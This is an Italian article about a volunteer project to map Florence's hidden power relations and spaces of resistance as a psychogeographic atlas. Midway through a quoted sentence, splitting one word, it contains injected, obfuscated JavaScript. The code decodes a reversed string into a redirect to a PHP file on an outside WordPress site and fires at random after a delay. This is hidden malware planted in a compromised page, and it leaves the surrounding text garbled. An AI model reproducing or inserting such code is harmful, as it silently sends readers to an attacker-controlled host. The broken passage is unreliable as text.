La Firenze invisibile

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Creare un atlante psicogeografico della città di Firenze: è questo il nuovo, ambizioso progetto nato all’interno dell’Elettro+ di Via Siena (vedi box). Per capire di cosa si tratta, parliamo con Lorenzo, uno dei promotori di questa iniziativa. “Abbiamo creato un laboratorio aperto a tutti, il cui scopo è quello di creare una mappa di Firenze in cui siano evidenziati gli aspetti meno visibili, positivi e negativi, della nostra città. Nelle nostre intenzioni il risultato finale sarà un atlante cartaceo che fotograferà l’esistente, al quale si affiancherà una mappa virtuale su internet che potrà essere aggiornata da tutti gli utenti”. L’indirizzo di questa mappa virtuale è www.cartografiaresistente.org e dovrebbe essere attivo tra poche settimane.
Il gruppo di lavoro è ancora nella fase iniziale di progettazione e definizione del percorso da intraprendere, ma dai primi incontri sono già emerse alcune linee guida. Sono state identificate tre “mappe matrice”, categorie iniziali da cui partire: la città esistente; la città resistente; la città attiva. È ancora Lorenzo a illustrarci nel dettaglio questa distinzione: “La città esistente è una precisazione ed evoluzione del vago concetto di mappa dei ‘poteri forti’. Vogliamo visualizzare e criticare le relazioni di potere, spesso celate e occulte, che controllano e trasformano il contesto urbano che ci circonda. È la mappa della città consolidata, delle realtà e delle visioni pubbliche della città. La città resistente è quella delle pratiche quotidiane di sopravvivenza, delle azioni ‘tattiche’ dei singoli contro le strategie strutturate e pianificate che ordiscono i gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andi cambiamenti. La città attiva, infine, è la geografia (auto)organizzata della resistenza, la geografia di movimenti e gruppi consapevolmente orientati alla costruzione di alternative e mondi possibili”.
Sono molti i punti caldi di Firenze, luoghi interessati da trasformazioni, conflitti, progetti di speculazione, così come sono tanti i luoghi dove viene praticata una resistenza attiva alle pratiche dominanti. Da un lato Novoli e l’area ex-Fiat, San Salvi, il centro storico, gli spazi negati, perché chiusi o rigidamente regolamentati; dall’altro gli spazi sociali dell’immigrazione, i luoghi della città usati a scopo ricreativo, la città gratis, quella di notte e quella rosa con servizi diretti alle donne. E ancora i grandi centri commerciali, la proliferazione delle telecamere di controllo (pubbliche e private), la gestione dell’immagine della città.
Un vero e proprio cantiere in movimento che invita alla partecipazione e alla segnalazione dei propri luoghi.
Per avere maggiori informazioni sui prossimi incontri e sull’evoluzione del progetto, la cosa migliore è iscriversi alla mailing list gruppoelettrogeno@elettropiu.org.

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